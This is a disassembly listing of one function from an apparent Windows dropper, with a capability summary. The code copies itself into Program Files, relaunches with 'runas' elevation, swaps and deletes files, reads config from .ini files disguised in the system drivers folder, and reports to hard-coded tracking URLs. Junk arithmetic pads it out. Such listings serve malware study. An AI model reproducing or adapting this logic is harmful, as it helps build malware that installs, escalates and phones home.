Function at 0x4020d0
Capabilities:
Check mutex and terminate process on windows
Check mutex on windows
Copy file
Create a process with modified i/o handles and window
Create directory
Create process on windows
Delete file
Initialize winsock library
Move file
Read .ini file
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x44491b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, 0x14ac
call fcn.0042a980
mov eax, dword [0x458190]
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
xor eax, eax
mov byte [ebp - 0x814], 0
mov ecx, 0x7f
lea edi, [ebp - 0x813]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
xor eax, eax
mov esi, dword [0x456838]
mov byte [ebp - 0xa14], 0
imul esi, esi, 0xe0dd
mov ecx, 0x7f
lea edi, [ebp - 0xa13]
rep stosd dword es:[edi], eax
mov ecx, dword [0x45681c]
stosw word es:[edi], ax
stosb byte es:[edi], al
mov eax, 0x49f9945f
imul ecx
mov ecx, dword [0x456824]
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, 0x302debc5
imul ecx
sar edx, 0xe
mov edi, edx
add esi, edx
mov edx, dword [0x456830]
imul edx, edx, 0xa8da
shr edi, 0x1f
add edi, esi
add edi, edx
mov eax, 0x3e12562b
imul ecx
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
push 0
mov dword [str._r_____r____], edi
mov dword [ebp - 4], 0
call fcn.0042a947
mov ecx, dword [0x45681c]
mov esi, dword [0x456838]
mov edi, eax
mov eax, 0x99b19d5b
imul ecx
add edx, ecx
sar edx, 0xf
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov eax, 0x302debc5
imul esi
mov ebx, esi
imul ebx, ebx, 0xe0dd
sar edx, 0xe
sub ecx, ebx
add ecx, edx
mov eax, edx
mov edx, dword [str._r_____r____]
shr eax, 0x1f
add eax, ecx
mov ecx, dword [0x456830]
imul ecx, ecx, 0xa8da
add eax, ecx
sub eax, edx
add esp, 4
add eax, 0xaaa7
mov dword [0x45681c], eax
call fcn.00441ea5
mov eax, dword [eax + 4]
mov edx, dword [eax + 0x44]
push edx
lea ecx, [ebp - 0xfb8]
call fcn.00402020
mov ecx, dword [ebp - 0xfb8]
mov byte [ebp - 4], 1
lea edx, [ebp - 0x314]
mov edi, edi
mov al, byte [ecx]
inc ecx
mov byte [edx], al
inc edx
test al, al
jne 0x402230
lea eax, [ebp - 0x314]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x402243
sub eax, edx
mov dword [ebp - 0xfb0], eax
jne 0x402c33
mov ecx, dword [0x45682c]
mov eax, 0x99b19d5b
imul ecx
mov ebx, dword [0x456830]
add edx, ecx
mov ecx, dword [str._r_____r____]
sar edx, 0xf
imul ecx, ecx, 0x15410
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x456828]
sub ecx, eax
imul edx, edx, 0x398f
mov eax, dword [0x456818]
imul eax, eax, 0xa8da
add edx, ebx
push str.C:WINDOWS_system32driversetc_service3.ini
add edx, ecx
push 0x100
lea ecx, [eax + edx - 0x1558c]
lea edx, [ebp - 0x214]
push edx
push 0x446e15
push str.rand
push str.aaaaa
mov dword [0x456824], ecx
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
lea eax, [ebp - 0x214]
push eax
call fcn.0042a942
add esp, 4
test eax, eax
jle 0x4022f7
lea ecx, [ebp - 0x214]
push ecx
call fcn.0042a942
add esp, 4
mov edi, eax
mov eax, edi
cdq
mov ecx, 0x190
idiv ecx
mov esi, edx
and edx, 0x80000001
mov dword [ebp - 0xfa8], esi
jns 0x402316
dec edx
or edx, 0xfffffffe
inc edx
cmp edx, 1
jne 0x402387
mov edi, dword [0x456820]
mov eax, dword [0x45682c]
mov ecx, dword [0x45681c]
imul eax, eax, 0x1558c
mov ebx, edi
imul ebx, ebx, 0xdd7b
add ebx, eax
mov eax, 0x47298a5
imul ecx
sar edx, 8
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x456830]
imul edx, edx, 0x8ed2
sub ebx, ecx
mov ecx, dword [0x456834]
add ebx, edx
mov eax, 0x3e12562b
imul edi
sar edx, 0xe
mov eax, edx
add ebx, edx
shr eax, 0x1f
add eax, ebx
mov ebx, dword [0x456818]
lea edi, [esi - 1]
mov dword [0x45682c], eax
inc esi
jmp 0x4023ef
mov edi, dword [0x456828]
mov ebx, dword [0x456818]
mov eax, 0x49f9945f
imul edi
sar edx, 0xe
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
mov ecx, ebx
imul ecx, ecx, 0xd534
mov eax, edi
imul eax, eax, 0x15410
sub ecx, edx
add ecx, eax
mov eax, 0x302debc5
imul edi
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x456834]
sub ecx, eax
mov eax, 0x3e12562b
imul edx
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov edi, esi
mov dword [0x456834], ecx
add esi, 2
mov edx, dword [0x456830]
imul ebx, ebx, 0x1558c
imul edx, edx, 0xdd7b
mov dword [ebp - 0xfb4], edx
mov eax, 0x2ff8513b
imul ecx
sar edx, 0xe
mov dword [ebp - 0xfac], esi
mov esi, edx
shr esi, 0x1f
add esi, edx
sub esi, dword [ebp - 0xfb4]
mov eax, 0x47298a5
imul ecx
sar edx, 8
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov eax, 0x395bd985
imul dword [0x456820]
mov eax, edx
sar eax, 0xd
mov edx, eax
shr edx, 0x1f
sub ebx, ecx
add edx, eax
add ebx, edx
add ebx, esi
mov eax, ebx
mov ebx, 0x190
cmp dword [ebp - 0xfac], ebx
jl 0x40246e
mov ebx, dword [ebp - 0xfa8]
dec ebx
mov dword [ebp - 0xfac], ebx
imul eax, eax, 0x1558c
imul edi, edi, 0x22
sub eax, ecx
add eax, edx
add eax, esi
lea edi, [edi + str.Installing]
push edi
mov dword [0x456818], eax
lea eax, [ebp - 0x114]
push str.C:Program_Files_s
push eax
mov dword [ebp - 0xfb0], edi
call fcn.0042a311
add esp, 0xc
push 0
lea ecx, [ebp - 0x114]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov edx, dword [ebp - 0xfac]
imul edx, edx, 0x22
add edx, str.Installing
push edx
push edi
lea eax, [ebp - 0x114]
push str.C:Program_Files_s_s.exe
push eax
call fcn.0042a311
mov edi, dword [0x456824]
mov ecx, dword [0x456838]
mov eax, 0x302debc5
imul edi
sar edx, 0xe
mov esi, edx
shr esi, 0x1f
add esi, edx
mov eax, 0x246e57b5
imul ecx
sar edx, 0xd
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ebx, eax
mov eax, dword [0x45681c]
imul eax, eax, 0xd534
mov edx, ecx
imul edx, edx, 0x1558c
sub ebx, edx
add ebx, eax
mov eax, 0x61082f49
imul ecx
imul ecx, ecx, 0xe0dd
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0x49f9945f
imul dword [0x45681c]
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x456830]
imul edx, edx, 0xa8da
sub ecx, eax
add ecx, edx
mov eax, 0x3e12562b
imul edi
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
add esp, 0x10
sub ebx, esi
add ecx, esi
mov dword [str._r_____r____], ecx
mov dword [0x456828], ebx
mov dword [ebp - 0xfb4], 0
push 0x100
lea ecx, [ebp - 0x214]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x100
lea edx, [ebp - 0x214]
push 0x8000
push edx
call fcn.004371bb
mov ecx, dword [0x45681c]
mov esi, dword [0x456838]
mov ebx, eax
mov eax, 0x99b19d5b
imul ecx
add edx, ecx
sar edx, 0xf
mov edi, esi
imul edi, edi, 0xe0dd
mov eax, edx
shr eax, 0x1f
add eax, edx
sub eax, edi
mov edi, eax
mov eax, 0x302debc5
imul esi
mov eax, dword [str._r_____r____]
sar edx, 0xe
mov ecx, edx
shr ecx, 0x1f
add edi, edx
add ecx, edi
mov edi, dword [0x456830]
mov edx, edi
imul edx, edx, 0xa8da
add ecx, edx
sub ecx, eax
add ecx, 0xaaa7
add esp, 0xc
cmp ebx, 0xffffffff
mov dword [0x45681c], ecx
je 0x402899
mov ecx, dword [0x45682c]
mov eax, 0x99b19d5b
imul ecx
add edx, ecx
sar edx, 0xf
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x456828]
mov ecx, eax
imul edx, edx, 0x398f
mov eax, dword [str._r_____r____]
imul eax, eax, 0x15410
sub eax, ecx
mov ecx, dword [0x456818]
imul ecx, ecx, 0xa8da
add edx, edi
push 0x100000
add edx, eax
lea edx, [ecx + edx - 0x1558c]
push 0x459100
push ebx
mov dword [0x456824], edx
call fcn.00435dd8
push ebx
mov edi, eax
call fcn.00435f74
add esp, 0x10
cmp edi, 0x2800
jle 0x402887
mov ecx, dword [0x456820]
mov eax, dword [0x45682c]
mov edx, dword [0x45681c]
imul eax, eax, 0x1558c
mov esi, ecx
imul esi, esi, 0xdd7b
add esi, eax
mov eax, 0x47298a5
imul edx
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x456830]
imul edx, edx, 0x8ed2
sub esi, eax
add esi, edx
mov eax, 0x3e12562b
imul ecx
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add esi, edx
add eax, esi
push 0
mov dword [0x45682c], eax
call fcn.0042a947
push eax
push 0x446b00
push 0x459400
call fcn.0042a311
push 0x180
lea ecx, [ebp - 0x114]
push 0x8302
push ecx
call fcn.004371bb
mov esi, eax
add esp, 0x1c
cmp esi, 0xffffffff
jne 0x402773
lea eax, [ebp - 0x114]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x402734
sub eax, edx
lea edx, [ebp + eax - 0x118]
push str.s.exe
push edx
call fcn.0042a311
push 0x180
lea eax, [ebp - 0x114]
push 0x8302
push eax
call fcn.004371bb
mov esi, eax
add esp, 0x14
cmp esi, 0xffffffff
je 0x402887
mov ecx, dword [0x456828]
mov ebx, dword [0x456818]
mov eax, 0x49f9945f
imul ebx, ebx, 0xd534
imul ecx
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, ecx
imul edx, edx, 0x15410
sub ebx, eax
add ebx, edx
mov eax, 0x302debc5
imul ecx
mov ecx, dword [0x456834]
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0x3e12562b
imul ecx
sar edx, 0xe
mov ecx, edx
shr ecx, 0x1f
push edi
add ecx, edx
sub ebx, ecx
push 0x459100
push esi
mov dword [0x456834], ebx
call fcn.00433808
push 2
push 0
push esi
call fcn.0043358f
xor eax, eax
mov ecx, 0x80
lea edi, [ebp - 0xe14]
rep stosd dword es:[edi], eax
mov ecx, dword [0x456834]
mov edi, dword [0x456830]
mov eax, 0x2ff8513b
imul edi, edi, 0xdd7b
imul ecx
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x456818]
imul edx, edx, 0x1558c
mov ebx, eax
sub ebx, edi
add ebx, edx
mov eax, 0x47298a5
imul ecx
mov ecx, dword [0x456820]
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0x395bd985
imul ecx
sar edx, 0xd
mov ecx, edx
add ebx, edx
mov edx, dword [ebp - 0xfac]
push edx
lea eax, [ebp - 0xe14]
shr ecx, 0x1f
push eax
add ecx, ebx
push esi
mov dword [0x456818], ecx
call fcn.00433808
push esi
call fcn.00435f74
add esp, 0x28
mov dword [ebp - 0xfb4], 1
mov edi, dword [0x456830]
mov ecx, dword [0x45681c]
mov esi, dword [0x456838]
mov edx, dword [0x456820]
mov ebx, dword [0x456818]
mov eax, 0x18008403
imul ebx, ebx, 0x398f
imul edx
sar edx, 0xc
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45682c]
sub ebx, eax
mov eax, 0x3e12562b
imul edx
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, dword [str._r_____r____]
imul eax, eax, 0x107f4
add ebx, eax
sub ebx, dword [0x456834]
mov eax, dword [ebp - 0xfb4]
sub ebx, 0x1558c
mov dword [0x456820], ebx
mov ebx, 1
cmp eax, ebx
jne 0x402c24
mov eax, 0x49f9945f
imul esi, esi, 0xe0dd
imul edi, edi, 0xa8da
imul ecx
sar edx, 0xe
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub esi, ecx
mov ecx, dword [0x456824]
mov eax, 0x302debc5
imul ecx
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add esi, edx
add eax, esi
add eax, edi
mov dword [ebp - 0xfa8], eax
mov eax, 0x3e12562b
imul ecx
mov ecx, dword [ebp - 0xfa8]
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov dword [str._r_____r____], ecx
lea ecx, [ebp - 0x114]
push ecx
lea edx, [ebp - 0x214]
push str._s__33201_
push edx
call fcn.0042a311
xor eax, eax
mov esi, dword [0x456838]
mov ecx, 0x11
lea edi, [ebp - 0xffc]
rep stosd dword es:[edi], eax
mov ecx, dword [0x45681c]
mov eax, 0x99b19d5b
imul ecx
add edx, ecx
sar edx, 0xf
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ecx, eax
mov eax, 0x302debc5
imul esi
mov edi, esi
imul edi, edi, 0xe0dd
sar edx, 0xe
mov esi, dword [0x45682c]
sub ecx, edi
mov edi, dword [0x456830]
add ecx, edx
mov eax, edx
shr eax, 0x1f
add eax, ecx
mov ecx, edi
imul ecx, ecx, 0xa8da
add eax, ecx
mov ecx, dword [str._r_____r____]
sub eax, ecx
imul ecx, ecx, 0x15410
add eax, 0xaaa7
mov dword [0x45681c], eax
mov eax, 0x99b19d5b
imul esi
add edx, esi
sar edx, 0xf
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x456828]
add esp, 0xc
mov dword [ebp - 0xffc], 0x44
mov dword [ebp - 0xfd0], ebx
mov word [ebp - 0xfcc], 5
sub ecx, eax
mov eax, dword [0x456818]
imul edx, edx, 0x398f
imul eax, eax, 0xa8da
add edx, edi
add edx, ecx
lea ecx, [eax + edx - 0x1558c]
lea edx, [ebp - 0x100c]
push edx
lea eax, [ebp - 0xffc]
push eax
push 0
push 0
push 0x20
push 0
push 0
mov dword [0x456824], ecx
push 0
lea ecx, [ebp - 0x214]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x402ae3
mov ecx, dword [0x456820]
mov edx, dword [0x45682c]
imul edx, edx, 0x1558c
mov esi, ecx
imul esi, esi, 0xdd7b
add esi, edx
mov edx, dword [0x45681c]
mov eax, 0x47298a5
imul edx
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x456830]
imul edx, edx, 0x8ed2
sub esi, eax
add esi, edx
mov eax, 0x3e12562b
imul ecx
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add esi, edx
add eax, esi
push 0
mov dword [0x45682c], eax
call fcn.0042a87a
mov ecx, dword [0x456828]
mov esi, dword [0x456818]
mov eax, 0x49f9945f
imul esi, esi, 0xd534
imul ecx
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, ecx
imul edx, edx, 0x15410
sub esi, eax
add esi, edx
mov eax, 0x302debc5
imul ecx
mov ecx, dword [0x456834]
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, 0x3e12562b
imul ecx
sar edx, 0xe
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [ebp - 0xfb0]
push edx
lea eax, [ebp - 0x114]
sub esi, ecx
push str.C:Program_Files_s
push eax
mov dword [0x456834], esi
call fcn.0042a311
add esp, 0xc
push ebx
lea ecx, [ebp - 0x114]
push ecx
push 0
lea edx, [ebp - 0x214]
push edx
push str.runas
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
cmp eax, 0x20
jg 0x403747
mov ecx, dword [0x456834]
mov esi, dword [0x456830]
mov eax, 0x2ff8513b
imul esi, esi, 0xdd7b
imul ecx
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x456818]
imul edx, edx, 0x1558c
mov edi, eax
sub edi, esi
add edi, edx
mov eax, 0x47298a5
imul ecx
mov ecx, dword [0x456820]
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
push 0
sub edi, eax
push 0
push 0
mov eax, 0x395bd985
imul ecx
mov eax, dword [ebp + 8]
push 0
push str.http:__stat.wamme.cn_C8C_gl_cnzz61.html_pagehttp:__www.WebDllx.com_RunExeFail
push 0x45680c
push 0
sar edx, 0xd
push 0
mov ecx, edx
push ebx
shr ecx, 0x1f
add edi, edx
add eax, 0x74
add ecx, edi
push 0x68
push eax
mov dword [0x456818], ecx
call fcn.0043c9aa
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
add esp, 0x2c
push 0x2710
call edi
jmp 0x402c39
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x3e8
call edi
jmp 0x402c39
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [0x456834]
mov esi, dword [0x456830]
mov eax, 0x2ff8513b
imul esi, esi, 0xdd7b
imul ecx
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x456818]
imul edx, edx, 0x1558c
mov ebx, eax
sub ebx, esi
add ebx, edx
mov eax, 0x47298a5
imul ecx
mov ecx, dword [0x456820]
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0x395bd985
imul ecx
sar edx, 0xd
mov ecx, edx
add ebx, edx
lea edx, [ebp - 0xfa4]
shr ecx, 0x1f
push edx
add ecx, ebx
push 0x101
mov dword [0x456818], ecx
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x402cbd
push 0
call fcn.0042a87a
push 0x3e8
call edi
push 0x413c
lea eax, [ebp - 0x314]
push 0x446b00
push eax
call fcn.0042a311
add esp, 0xc
lea ecx, [ebp - 0x314]
push ecx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov dword [0x559100], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x402d79
mov ecx, dword [0x456828]
mov esi, dword [0x456818]
mov eax, 0x49f9945f
imul esi, esi, 0xd534
imul ecx
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, ecx
imul edx, edx, 0x15410
sub esi, eax
add esi, edx
mov eax, 0x302debc5
imul ecx
mov ecx, dword [0x456834]
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, 0x3e12562b
imul ecx
mov eax, dword [0x456808]
sar edx, 0xe
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub esi, ecx
cmp eax, 0xffffffff
mov dword [0x456834], esi
je 0x402d72
push eax
call dword [sym.imp.WS2_32.dll_closesocket]
push 0
call fcn.0042a87a
mov ecx, dword [0x45681c]
mov esi, dword [0x456838]
mov eax, 0x99b19d5b
imul ecx
add edx, ecx
sar edx, 0xf
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ecx, eax
mov eax, 0x302debc5
imul esi
mov ebx, esi
imul ebx, ebx, 0xe0dd
sar edx, 0xe
sub ecx, ebx
mov eax, edx
shr eax, 0x1f
add ecx, edx
mov edx, dword [str._r_____r____]
add eax, ecx
mov ecx, dword [0x456830]
imul ecx, ecx, 0xa8da
add eax, ecx
sub eax, edx
add eax, 0xaaa7
push 0
push str.C:WINDOWS_system32driversetc_service1.ini
mov dword [0x45681c], eax
call fcn.0042a6ad
add esp, 8
cmp eax, 0xffffffff
jne 0x402e06
push 0
push str.C:WINDOWS_system32driversetc_service2.ini
call fcn.0042a6ad
add esp, 8
cmp eax, 0xffffffff
je 0x402e06
push 0xea60
call edi
mov ecx, dword [0x456820]
mov esi, dword [0x456818]
mov eax, 0x18008403
imul esi, esi, 0x398f
imul ecx
mov ecx, dword [0x45682c]
sar edx, 0xc
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, 0x3e12562b
imul ecx
sar edx, 0xe
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [str._r_____r____]
imul edx, edx, 0x107f4
sub esi, ecx
mov ecx, dword [0x456834]
add esi, edx
sub esi, ecx
push 0
sub esi, 0x1558c
push str.C:WINDOWS_system32driversetc_service1.ini
mov dword [0x456820], esi
call fcn.0042a6ad
add esp, 8
cmp eax, 0xffffffff
je 0x4036eb
push 0
push str.C:WINDOWS_system32driversetc_service2.ini
call fcn.0042a6ad
add esp, 8
cmp eax, 0xffffffff
je 0x4036eb
mov edi, dword [0x456824]
mov ecx, dword [0x456838]
mov eax, 0x302debc5
imul edi
sar edx, 0xe
mov esi, edx
shr esi, 0x1f
add esi, edx
mov eax, 0x246e57b5
imul ecx
sar edx, 0xd
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ebx, eax
mov eax, dword [0x45681c]
imul eax, eax, 0xd534
mov edx, ecx
imul edx, edx, 0x1558c
sub ebx, edx
add ebx, eax
mov eax, 0x61082f49
imul ecx
imul ecx, ecx, 0xe0dd
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0x49f9945f
imul dword [0x45681c]
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x456830]
imul edx, edx, 0xa8da
sub ecx, eax
add ecx, edx
mov eax, 0x3e12562b
imul edi
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
push 0x446d2c
add ecx, esi
push 0x200
mov dword [str._r_____r____], ecx
lea ecx, [ebp - 0xc14]
push ecx
push 0x446e15
push str.ConfigL0
sub ebx, esi
push str.GameType1
mov dword [0x456828], ebx
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
mov edi, 0x446e15
lea esi, [ebp - 0xc14]
mov ecx, 1
xor edx, edx
repe cmpsb byte [esi], byte es:[edi]
je 0x4032b6
mov ecx, dword [0x45681c]
mov esi, dword [0x456838]
mov eax, 0x99b19d5b
imul ecx
add edx, ecx
sar edx, 0xf
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ecx, eax
mov eax, 0x302debc5
imul esi
mov edi, esi
imul edi, edi, 0xe0dd
sar edx, 0xe
sub ecx, edi
mov eax, edx
shr eax, 0x1f
add ecx, edx
mov edx, dword [str._r_____r____]
add eax, ecx
mov ecx, dword [0x456830]
imul ecx, ecx, 0xa8da
add eax, ecx
sub eax, edx
add eax, 0xaaa7
lea edx, [ebp - 0xc14]
push edx
mov dword [0x45681c], eax
lea eax, [ebp - 0x14bc]
push 0x12c
push eax
call fcn.004012d0
add esp, 0xc
cmp eax, 5
jl 0x4032b6
mov ecx, dword [0x45682c]
mov eax, 0x99b19d5b
imul ecx
mov eax, dword [0x456828]
add edx, ecx
imul eax, eax, 0x398f
sar edx, 0xf
mov edi, dword [0x456830]
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [str._r_____r____]
imul edx, edx, 0x15410
sub edx, ecx
mov ecx, dword [0x456818]
imul ecx, ecx, 0xa8da
add eax, edi
add eax, edx
lea edx, [ecx + eax - 0x1558c]
mov dword [0x456824], edx
mov edx, dword [ebp - 0x14bc]
mov eax, edx
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x403060
sub eax, esi
mov cl, byte [eax + edx - 1]
mov eax, dword [ebp - 0x14b0]
push eax
cmp cl, 0x5c
push edx
lea ecx, [ebp - 0x614]
jne 0x403087
push str._s_s
jmp 0x40308c
push 0x446d04
push ecx
call fcn.0042a311
mov ecx, dword [0x456820]
mov edx, dword [0x45682c]
imul edx, edx, 0x1558c
mov esi, ecx
imul esi, esi, 0xdd7b
add esi, edx
mov edx, dword [0x45681c]
mov eax, 0x47298a5
imul edx
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x456830]
imul edx, edx, 0x8ed2
sub esi, eax
add esi, edx
mov eax, 0x3e12562b
imul ecx
sar edx, 0xe
add esp, 0x10
mov eax, edx
lea ecx, [ebp - 0x614]
push ecx
add esi, edx
shr eax, 0x1f
lea edx, [ebp - 0x414]
add eax, esi
push str._s.bak
push edx
mov dword [0x45682c], eax
call fcn.0042a311
add esp, 0xc
push 0
lea eax, [ebp - 0x414]
push eax
lea ecx, [ebp - 0x614]
push ecx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov esi, dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea edx, [ebp - 0x614]
push edx
call esi
mov ecx, dword [0x456828]
mov edi, dword [0x456818]
mov eax, 0x49f9945f
imul edi, edi, 0xd534
imul ecx
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, ecx
imul edx, edx, 0x15410
sub edi, eax
add edi, edx
mov eax, 0x302debc5
imul ecx
mov ecx, dword [0x456834]
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0x3e12562b
imul ecx
sar edx, 0xe
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
lea edx, [ebp - 0x614]
sub edi, ecx
push 0
push edx
mov dword [0x456834], edi
call fcn.0042a6ad
add esp, 8
cmp eax, 0xffffffff
je 0x40321e
mov ecx, dword [0x456834]
mov edi, dword [0x456830]
mov eax, 0x2ff8513b
imul edi, edi, 0xdd7b
imul ecx
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x456818]
imul edx, edx, 0x1558c
mov ebx, eax
sub ebx, edi
add ebx, edx
mov eax, 0x47298a5
imul ecx
mov ecx, dword [0x456820]
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0x395bd985
imul ecx
sar edx, 0xd
mov ecx, edx
add ebx, edx
shr ecx, 0x1f
lea edx, [ebp - 0x414]
add ecx, ebx
push edx
mov dword [0x456818], ecx
call esi
push 0
call fcn.0042a87a
mov ecx, dword [0x456820]
mov esi, dword [0x456818]
mov eax, 0x18008403
imul esi, esi, 0x398f
imul ecx
mov ecx, dword [0x45682c]
sar edx, 0xc
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, 0x3e12562b
imul ecx
mov edi, dword [0x456834]
sar edx, 0xe
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [str._r_____r____]
imul edx, edx, 0x107f4
sub esi, ecx
add esi, edx
lea eax, [ebp - 0x614]
sub esi, edi
push eax
lea ecx, [ebp - 0x414]
sub esi, 0x1558c
push ecx
mov dword [0x456820], esi
call dword [sym.imp.KERNEL32.dll_MoveFileA]
lea eax, [ebp - 0x614]
lea ecx, [ebp - 0x814]
mov edi, edi
mov dl, byte [eax]
inc eax
mov byte [ecx], dl
inc ecx
test dl, dl
jne 0x4032a0
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x64
call ebx
jmp 0x4032bc
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
mov esi, dword [0x456838]
mov eax, 0x246e57b5
imul esi
sar edx, 0xd
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ecx, eax
mov eax, dword [0x45681c]
imul eax, eax, 0xd534
mov edx, esi
imul edx, edx, 0x1558c
sub ecx, edx
mov edx, dword [0x456824]
add ecx, eax
mov eax, 0x302debc5
imul edx
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov eax, 0x61082f49
imul esi
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
lea eax, [ebp - 0x814]
mov dword [0x456828], ecx
lea esi, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x403327
sub eax, esi
mov dword [ebp - 0xfb0], eax
push 0
jne 0x40333f
call fcn.0042a87a
mov esi, dword [0x456818]
mov eax, 0x49f9945f
imul esi, esi, 0xd534
imul ecx
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, ecx
imul edx, edx, 0x15410
sub esi, eax
add esi, edx
mov eax, 0x302debc5
imul ecx
mov ecx, dword [0x456834]
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, 0x3e12562b
imul ecx
sar edx, 0xe
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
lea edx, [ebp - 0x814]
sub esi, ecx
push edx
mov dword [0x456834], esi
call fcn.0042a6ad
add esp, 8
cmp eax, 0xffffffff
jne 0x4034cc
mov ecx, dword [0x45682c]
mov esi, dword [0x456834]
mov eax, 0x99b19d5b
imul esi, esi, 0x1558c
imul ecx
add edx, ecx
mov ecx, dword [0x456820]
sar edx, 0xf
imul ecx, ecx, 0xab36
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, eax
sub edi, esi
sub edi, ecx
mov ecx, dword [str._r_____r____]
push 0
mov eax, 0x395bd985
imul ecx
push 0
push 0
push 0
push str.http:__stat.wamme.cn_C8C_gl_cnzz60.html_pagehttp:__www.WebDllx.com_NoDllx
sar edx, 0xd
push 0x45680c
mov eax, edx
